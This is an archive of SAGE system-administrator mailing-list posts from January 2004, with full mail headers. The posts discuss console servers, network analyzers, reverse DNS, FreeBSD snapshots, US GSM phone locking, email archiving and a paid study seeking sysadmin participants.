charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 11:26 AM -0500 2004/01/01, Derek J. Balling wrote: > This was discussed before, but if you like the Raritan PRODUCT, but > not the price, then the Dell 2161DS is the product to get, because > it is simply a rebranded UMT2161, at about 1/3 to 1/2 the price, > IIRC. Half or 2/3 off a product that costs $10k isn't going to help me get the price down to a level that I can afford as something to put in my basement. Moreover, going to Dell doesn't help because they deal only with businesses over here in Belgium (at least, so far as I've been able to determine). -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Thu Jan 1 23:36:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i027aZ7R013052 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 23:36:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i027aZFf013051 for sage-members-outgoing; Thu, 1 Jan 2004 23:36:35 -0800 (PST) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: <29510.1072924002@piquin> <3D18C430-3C77-11D8-955E-000A27AF5202@megacity.org> Date: Fri, 2 Jan 2004 01:36:04 -0600 To: Brad Knowles From: Brad Knowles Subject: Re: [SAGE] console server (Raritan or ???) Cc: "Derek J. Balling" , Brad Knowles , bergman@merctech.com, sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 1:10 AM -0600 2004/01/02, Brad Knowles wrote: > Half or 2/3 off a product that costs $10k isn't going to help me > get the price down to a level that I can afford as something to > put in my basement. I should add that I appreciate the thought. Re-reading what I said, I see that I was considerably more flippant than I had intended, and for that I apologize. But $DEITY, those things are expensive! -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 2 01:23:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i029N87R014279 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 01:23:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i029N8UN014278 for sage-members-outgoing; Fri, 2 Jan 2004 01:23:08 -0800 (PST) Message-ID: <35582.192.168.128.30.1073035381.squirrel@192.168.128.30> In-Reply-To: References: <29510.1072924002@piquin><3D18C430-3C77-11D8-955E-000A27AF5202@megacity.org> Date: Fri, 2 Jan 2004 01:23:01 -0800 (PST) Subject: Re: [SAGE] console server (Raritan or ???) From: "Robert Hajime Lanning" To: sage-members@usenix.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk > But $DEITY, those things are expensive! Ya, that's why I like sticking one of these things in my servers: http://www.realweasel.com/ Though, you can't run MS stuff, unless you run Linux+VMware. You can run anything that uses text mode VGA for it's console. It is $350 per machine, but alot easier to budget for a home server room. -- END OF LINE -MCP From sage-members-owner@usenix.org Fri Jan 2 06:01:18 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02E1H7R017723 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 06:01:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02E1HKY017722 for sage-members-outgoing; Fri, 2 Jan 2004 06:01:17 -0800 (PST) Date: Fri, 2 Jan 2004 09:01:13 -0500 (EST) From: Andrew Maddox To: SAGE list Subject: [SAGE] Network Analyzers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk I'm looking at network testers/sniffers for $ORK, and am interested in experiences others have. What we need is a portable device that we can plug in to various places, do some online testing, and use to collect traffic for a while for later analysis down to a pretty low level. Actually, we'll probably get two. I know a couple of the higher-end Fluke devices, for example, can do this, but what else is out there that's worth looking at? We need something that can handle copper and fiber, up to gigabit connections, and hopefully be able to plug into a span port on a Cisco switch (we use a few models of those). Thanks! -- Andrew Maddox, madsox squiggle radix point net I will finish what I sta... From sage-members-owner@usenix.org Fri Jan 2 09:25:43 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02HPh7R020060 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 09:25:43 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02HPgBx020059 for sage-members-outgoing; Fri, 2 Jan 2004 09:25:42 -0800 (PST) Date: Fri, 2 Jan 2004 12:25:36 -0500 (EST) From: John Rowan Littell X-X-Sender: rowan@llya010.lly.earlham.edu To: sage-members@usenix.org Subject: Re: [SAGE] console server (Raritan or ???) In-Reply-To: Message-ID: References: <29510.1072924002@piquin> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has passed the MIMEDefang sanitizer. X-Sanitizer-URL: http://www.earlham.edu/~ecs X-Sanitizer-Version: MIMEDefang/ECSanitizer $Revision: 1.16 $ X-Sanitizer-Config-Version: $Revision: 1.132 $ X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Lo, Brad Knowles and the coffee pot sang in unison: > Historically, Cyclades has had a good reputation for their > terminal servers. Just don't try to buy them anywhere outside of the > US, and don't bother if you're going to be buying them as a private > citizen. They don't want to talk to you unless you're a business > with a tax license number. > > I've had really, really bad experiences with the Cyclades sales idiots. I know you're not in the US, and that may change the picture somewhat, but I thought I'd pipe in here with the statement that I've had nothing but competent, quick, and courteous interactions with everyone I've talked to at Cyclades, most often their midwest US sales manager. Personally, I find that their documentation's assumption that I'm a Linux geek much more annoying than anything else, and even that I can quite easily live with. --rowan - -- John "Rowan" Littell Systems Administrator Earlham College Computing Services http://www.earlham.edu/~littejo/ 2004-01-02 12:20 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (Darwin) Comment: Made with pgp4pine 1.76 iQCVAwUBP/Wpl5dUNSJ2nf/5AQEk3gP8DcdgosbkSuaRWhhqBfma2rzrik46GtSV VAcinoA5TUmbfHEcfczr61iOf29TPf56asB6oRCggQCDeJn5BkqavsLtS2qnD/KC oY0BQxAoUlsRtdHws5YZ90mLdKpO62SYXInKKwxM28hWrJgaambwJbHwjoWuEkaF mS1SQziBU/A= =f3PG -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Fri Jan 2 09:48:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02HmW7R021355 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 09:48:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02HmWNA021353 for sage-members-outgoing; Fri, 2 Jan 2004 09:48:32 -0800 (PST) Date: Fri, 2 Jan 2004 10:48:04 -0700 (MST) From: Rob Kolstad Message-Id: <200401021748.i02Hm4Qt006654@ace.DELOS.COM> To: sage-members@usenix.org Subject: [SAGE] posting short topics booklets Cc: jdunn@aquezada.com Sender: owner-sage-members@usenix.org Precedence: bulk I talked this over with the editors and others: Date: Mon, 29 Dec 2003 10:34:34 -0500 (EST) From: Julian C. Dunn To: sage-members@usenix.org Subject: [SAGE] redistribution restrictions on "Short Topics" PDFs? We want to post a few of the "Short Topics" booklets on our internal system administrators' Wiki. I am the only SAGE member out of the group. Is this legitimate, or do all the users have to be SAGE members before I can do this? - - Julian - -- [ Julian C. Dunn * ] The answer is: * If half your site's admins are members, there is no charge for posting the booklet for your site's members' use. * Otherwise, please purchase posting rights for 10x the normal cost of the booklet plus a requirement of prominently posting the document's source. RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Fri Jan 2 09:53:58 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02Hrw7R021875 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 09:53:58 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02HrwLX021874 for sage-members-outgoing; Fri, 2 Jan 2004 09:53:58 -0800 (PST) Message-Id: <5.2.0.9.0.20040102114919.02339928@mail.bearnet.com> X-Mailer: BW Mailer Version 5.2.0.9 Date: Fri, 02 Jan 2004 11:53:45 -0600 To: Mike Noble From: Bill Weinman Subject: Re: [SAGE] Question on DNS and reverse lookups Cc: sage-members@usenix.org In-Reply-To: <3FF4FD33.3080805@cox.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-sage-members@usenix.org Precedence: bulk At 11:10 PM 1/1/2004, Mike Noble wrote: >With the reverse I get a different Authority section. Why would the >reverse give a different Authority section? "Reverse DNS" is a bit of a misnomer, or at best confusing. The special IN-ADDR.ARPA. domain is used for PTR records (address -> name translation). The authoritative nameservers for your address space are usually delegated by your hosting company or ISP. If you want to run your own rDNS, you'll need to set up the zones and get your provider to delegate to you. --Bill --- No electrons were harmed in the production of this message. ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ ~~~ - Home | Whois - Music | Blog - Gimme back my email! From sage-members-owner@usenix.org Fri Jan 2 13:39:48 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02Ldm7R002513 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 13:39:48 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02Ldm7P002512 for sage-members-outgoing; Fri, 2 Jan 2004 13:39:48 -0800 (PST) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be (Unverified) Message-Id: In-Reply-To: <35582.192.168.128.30.1073035381.squirrel@192.168.128.30> References: <29510.1072924002@piquin><3 D18C430-3C77-11D8-955E-000A27AF5202@megacity.org> <35582.192.168.128.30.1073035381.squirrel@192.168.128.30> Date: Fri, 2 Jan 2004 16:01:14 -0500 To: lanning@lanning.cc From: Brad Knowles Subject: Re: [SAGE] console server (Raritan or ???) Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 1:23 AM -0800 2004/01/02, Robert Hajime Lanning wrote: > Ya, that's why I like sticking one of these things in my servers: > http://www.realweasel.com/ For PC servers with expansion cards, that's okay. For old laptops re-purposed as servers when they get too old to use Microsoft OSes, or for Sun hardware, unfortunately that doesn't help so much. For what little PC hardware I have that will take expansion cards, I made sure to buy equipment that would fully support serial ports as well as typical PC-style KVM. > It is $350 per machine, but alot easier to budget for a home server room. I've been looking for something that I would hope is a lot less expensive than that. One re-purposed old laptop (so far), an ancient Sun SPARC 4 clone (not UltraSPARC), four UltraSPARC 10 clones, and a monster Intel OEM 4-way PPro server with twelve disks (as the main fileserver), adds up to a fair number of machines. Sigh.... -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 2 14:44:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02MiW7R005409 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 14:44:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02MiWhF005408 for sage-members-outgoing; Fri, 2 Jan 2004 14:44:32 -0800 (PST) Date: Fri, 2 Jan 2004 22:44:28 +0000 From: Phil Pennock To: sage-members@usenix.org Subject: Re: [SAGE] nas boxes with snapshots Message-ID: <20040102224428.GA3311@globnix.org> Mail-Followup-To: sage-members@usenix.org References: <1072799826.7585.24.camel@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Sender: owner-sage-members@usenix.org Precedence: bulk On 2003-12-30 at 09:23 -0800, Joe Pruett wrote: > anyone want to share horror/joy stories about: > snapservers > performnas > netstor > > specifically as compared to a netapp box. or anyone used lvm snapshots > heavily to mimic the auto snapshot feature of the netapp? Which reminds me: whilst FreeBSD 5.x reminds not-quite-stable-enough for solid production use (ugh), there is some really nice stuff in it. I've played a little with the new UFS snapshots, enough to verify that they work on a very lightly loaded system, when not kept around for long. Has anyone tried these UFS snapshots (mksnap_ffs) in anger yet? Any information about them at all? NetApp Filer snapshots rock, but we can't justify NetApp costs for everything where we want more resilience (customer-facing stuff gets NetApp with battery-backed write commits, etc, internal stuff often doesn't). Has anyone tried FreeBSD 5.x with snapshots and RAID 5? Any particular issues? More long-range, does anyone know if any current projects are working at bringing undelete() into production stability, as opposed to a semi-supported 4.4BSD-Lite feature fading into obsolescence? (_Please_ prove me wrong with that description!) TIA, -- "Science is the belief in the ignorance of experts." -- Richard P. Feynman From sage-members-owner@usenix.org Fri Jan 2 15:18:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i02NIQ7R007186 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 15:18:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i02NIQHS007185 for sage-members-outgoing; Fri, 2 Jan 2004 15:18:26 -0800 (PST) Date: Fri, 2 Jan 2004 23:17:33 +0000 From: Phil Pennock To: Daniel Rich Cc: sage-members@sage.org Subject: Re: [SAGE] ATT Phones Message-ID: <20040102231733.GC3311@globnix.org> Mail-Followup-To: Daniel Rich , sage-members@sage.org References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> Sender: owner-sage-members@usenix.org Precedence: bulk On 2003-12-31 at 09:33 -0800, Daniel Rich wrote: > I had really good luck with Verizon up until the past few months. They > have just gotten too big to care about customers any more. Also, they > have *no* bluetooth phones and no apparent plans to support bluetooth > in the forseable future (search google for bluetooth verizon for a > couple of good discussions on it). Does anyone else find it odd that > they are selling a bluetooth headset at their stores when they don't > sell any phones that support it? This is GSM? If so, please excuse my market ignorance but why does the set of offerings from the network provider matter? Unless things are massively different in the USA (which would be difficult if it's still GSM), they sell the access via SIMs, either contract-based or pre-pay. Which phone surrounds the SIM is fairly irrelevant, up until you're looking at additional network services -- thus excluding Bluetooth support as a relevant factor. You'll probably have to pay more for a phone which isn't tied to a particular SIM card, though. Heh -- that can hurt a little. I've had two personal phones and two work phones (one of each being the same model) which were all sim-lock free. GSM rocks. But visiting the USA at the end of 2002 for holiday plus LISA, I was disappointed at the inavailability of pre-pay SIMs for GSM. I wanted a cheap way of being reachable for a couple of weeks. I had to stick to my regular personal SIM card, go easy on it and just wince as I burnt through the credits. (Antenna coverage was weak on the main car-trip, but I didn't care. I can still close my eyes and see the beautiful scenery of northern PA). Sounds like Bluetooth is now available though. I was surprised at the scarcity of that too -- I'm definitely not used to the USA being _more_ expensive for tech. :^) -- "Science is the belief in the ignorance of experts." -- Richard P. Feynman From sage-members-owner@usenix.org Fri Jan 2 19:53:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i033r07R018068 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 19:53:00 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i033r0bV018067 for sage-members-outgoing; Fri, 2 Jan 2004 19:53:00 -0800 (PST) Date: Fri, 2 Jan 2004 19:48:46 -0600 From: Tillman Hodgson To: sage-members@usenix.org Subject: Re: [SAGE] nas boxes with snapshots Message-ID: <20040103014846.GD99973@seekingfire.com> References: <1072799826.7585.24.camel@localhost> <20040102224428.GA3311@globnix.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040102224428.GA3311@globnix.org> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . X-GPG-Key-ID: 828AFC7B X-GPG-Fingerprint: 5584 14BA C9EB 1524 0E68 F543 0F0A 7FBC 828A FC7B X-GPG-Key: http://www.seekingfire.com/gpg_key.asc X-Urban-Legend: There is lots of hidden information in headers User-Agent: Mutt/1.5.5.1i Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 02, 2004 at 10:44:28PM +0000, Phil Pennock wrote: > Which reminds me: whilst FreeBSD 5.x reminds not-quite-stable-enough for > solid production use (ugh), there is some really nice stuff in it. I've > played a little with the new UFS snapshots, enough to verify that they > work on a very lightly loaded system, when not kept around for long. > > Has anyone tried these UFS snapshots (mksnap_ffs) in anger yet? Any > information about them at all? I've been using them to dump all filesystems on a Sparc64 system to a remote backup host. That machiens actually gives me less trouble (read: none yet) than some of the 4.X machines ... the snapshot support in dump ensures that the backups aren't having the carpet pulled from under them. -T -- "Beauty is more important in computing than anywhere else in technology because software is so complicated. Beauty is the ultimate defense against complexity." -- David Gelernter, Machine Beauty: Elegance and the Heart of Technology From sage-members-owner@usenix.org Fri Jan 2 23:41:45 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i037fi7R026402 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Jan 2004 23:41:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i037fifd026401 for sage-members-outgoing; Fri, 2 Jan 2004 23:41:44 -0800 (PST) From: Mason Schmitt To: SAGE Members Subject: Re: [SAGE] e-mail archiving/storage ? Date: Fri, 2 Jan 2004 23:41:38 -0800 User-Agent: KMail/1.5.3 References: <20031121220655.GA29945@softlab.ece.ntua.gr> In-Reply-To: <20031121220655.GA29945@softlab.ece.ntua.gr> Cc: Alexios Zavras MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401022341.38255.hr824@sunwave.net> X-Virus-Scanned: Scanned by Hermes (http://www.beyondtheweb.com/hermes) Sender: owner-sage-members@usenix.org Precedence: bulk Please excuse the late reply to this thread. On November 21, 2003 02:06 pm, Alexios Zavras wrote: > What software/infrastructure do people use for e-mail storage/archiving ? > > But a database should be better for the standard headers > ("search for a mail sent last June"), plus the MIME stuff > should be dealt with (decoded, etc.). > I remember an article in Sysadmin Magazine about exactly this. Given that I tend to archive a lot more than just my email, I went back and found the article. It was written by Robert Bond. The title was, "An SQL archive for Email and MIME attachments." It appears to be just what you are looking for. The source for the perl scripts can be downloaded here ftp://ftp.mfi.com/pub/sysadmin/2003/apr2003.zip and I'm sure you can get back issues of the mag. Mason From sage-members-owner@usenix.org Tue Jan 6 10:25:01 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i06IP1Ne015608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 6 Jan 2004 10:25:01 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i06IP1Af015607 for sage-members-outgoing; Tue, 6 Jan 2004 10:25:01 -0800 (PST) Date: Tue, 6 Jan 2004 11:24:54 -0700 (MST) From: Rob Kolstad Message-Id: <200401061824.i06IOsfe022244@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] Students needed to test tutorial on west coast Cc: sheila@acuitus.com Sender: owner-sage-members@usenix.org Precedence: bulk Sheila Brady at sheila@acuitus.com has asked me to circulate this announcement, and it seemed appropriate for our members. The gist of it is: If you are at the proper skill level for UNIX System Administration then you can earn $200 for helping them test their new sysadmin course/lab. The details are below. Sheila has promised not to use your personal information for anything other than qualification for the study. This is not a scam to get your email address. ---------------------------------------------------------------------- Acuitis is willing to pay $200 for UNIX System Administrators with between 6 months - 2 years experience to take part in a research experiment. Participation in the experiment consists of taking a 4 hour (approx) class in UNIX System Administration Troubleshooting at our location in Palo Alto, CA. For each class we will need 3 or 4 students. We will likely have about 12 more classes over the next few months. The next three classes are tentatively scheduled for January 21, 22, and 23rd. The class consists of a 45 minute lecture in troubleshooting, followed by three hours of lab exercises. Each student will be mic'd and video-recorded, and all their interactions with the computer logged. We will analyze the data generated by the class to assist us in research in the area of expert tutorial systems. We need students who are at a particular skill level in their UNIX System Administration abilities. To prove eligibility for the class each student needs to take a 20 question test on-line, and to submit a current resume or a brief description of their education/experience level. The test has a variety of questions, some of which should be answered successfully by the prospective student and some of which may well beyond the student's expertise. It is, therefore, very important that the prospective student is the actual person who takes the test, without coaching from other people, or extra study, so that we get students at the appropriate skill level. We select the students based on the results of the test, our review of their resume, and, in some cases, a brief phone interview. All data generated during these sessions will remain the sole property of Acuitus. Each student will have to sign a consent and release form. All student information will be kept in strict confidence. We are a reputable company that has been in business doing the research in this area for the past 4 years. All queries regarding the test, the class, and the study should go to Sheila Brady at: sheila@acuitus.com . ---------------------------------------------------------------------- ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Tue Jan 6 11:34:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i06JYENe018233 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 6 Jan 2004 11:34:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i06JYEAZ018232 for sage-members-outgoing; Tue, 6 Jan 2004 11:34:14 -0800 (PST) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040102231733.GC3311@globnix.org> References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> <20040102231733.GC3311@globnix.org> Date: Tue, 6 Jan 2004 20:31:18 +0100 To: Phil Pennock From: Brad Knowles Subject: Re: [SAGE] ATT Phones Cc: Daniel Rich , sage-members@sage.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 11:17 PM +0000 2004/01/02, Phil Pennock wrote: > This is GSM? If so, please excuse my market ignorance but why does the > set of offerings from the network provider matter? To the best of my knowledge, all providers in the US lock their phones to their network, even if they use technology that is widely available throughout the world (e.g., GSM). > Unless things are > massively different in the USA (which would be difficult if it's still > GSM), they sell the access via SIMs, either contract-based or pre-pay. If you can bring in phones from another provider that are unlocked, you may (or may not) be able to use them with a SIM from a US provider. That is, for networks based on GSM technology. For networks based on CDMA or TDMA technology, that's not possible -- they don't use SIMs. So, you're dependant on what hardware the vendor makes available on their network, and what is compatible with it. > You'll probably have to pay more for a phone which isn't tied to a > particular SIM card, though. Heh -- that can hurt a little. That is very difficult in the US, if not impossible with many carriers. > I've had two personal phones and two work phones (one of each being the > same model) which were all sim-lock free. GSM rocks. But visiting the > USA at the end of 2002 for holiday plus LISA, I was disappointed at the > inavailability of pre-pay SIMs for GSM. I wanted a cheap way of being > reachable for a couple of weeks. I had to stick to my regular personal > SIM card, go easy on it and just wince as I burnt through the credits. > (Antenna coverage was weak on the main car-trip, but I didn't care. I > can still close my eyes and see the beautiful scenery of northern PA). I think T-Mobile sells pay-as-you-go accounts, which you can use for GSM, combine with WiFi access, etc.... Of course, that assumes that you can get GSM coverage in the US. In many cases, the GSM coverage seriously sucks. Even CDMA and TDMA (which have been used in the US far longer than GSM) can have poor coverage, compared to AMPS/NAMPS. And there are no dual-mode AMPS/NAMPS GSM phones that I know of. So far as I know, there is only one quad-band GSM phone available anywhere, and that's the Treo 600 (which doesn't seem to be available in Europe, at least not yet). > Sounds like Bluetooth is now available though. I was surprised at the > scarcity of that too -- I'm definitely not used to the USA being _more_ > expensive for tech. :^) The US is frequently a year or more behind Japan and Europe when it comes to technology, especially telecoms stuff. In these areas, it's also usually more expensive, too. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Jan 6 12:25:43 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i06KPhNe019896 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 6 Jan 2004 12:25:43 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i06KPgT8019895 for sage-members-outgoing; Tue, 6 Jan 2004 12:25:43 -0800 (PST) In-Reply-To: References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> <20040102231733.GC3311@globnix.org> Mime-Version: 1.0 (Apple Message framework v609) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <5A5B6B7C-4086-11D8-9A11-000A95822A5A@columbia.edu> Content-Transfer-Encoding: 7bit Cc: Daniel Rich , Phil Pennock , sage-members@sage.org, Fuat Baran From: Fuat Baran Subject: Re: [SAGE] ATT Phones Date: Tue, 6 Jan 2004 15:24:39 -0500 To: Brad Knowles X-Mailer: Apple Mail (2.609) X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.35 Sender: owner-sage-members@usenix.org Precedence: bulk On Jan 6, 2004, at 2:31 PM, Brad Knowles wrote: > To the best of my knowledge, all providers in the US lock their > phones to their network, even if they use technology that is widely > available throughout the world (e.g., GSM). > T-Mobile told me they would unlock mine. But when I called, I ended up talking to someone at the call centre who didn't understand me. Since I didn't have a burning need, I didn't pursue. AT&T's GSM coverage in my home neighbourhood sucks, so I switched to T-Mobile to get GSM. I've been very happy with the coverage in New York, Cape Cod, etc. as well as in London. Now I've got my eye on the Treo 600... I have the Nokia 6610 at the moment. :-) --Fuat From sage-members-owner@usenix.org Tue Jan 6 13:47:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i06LlGNe022514 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 6 Jan 2004 13:47:16 -0800 (PST) Received: (from majordomo@localhost) by 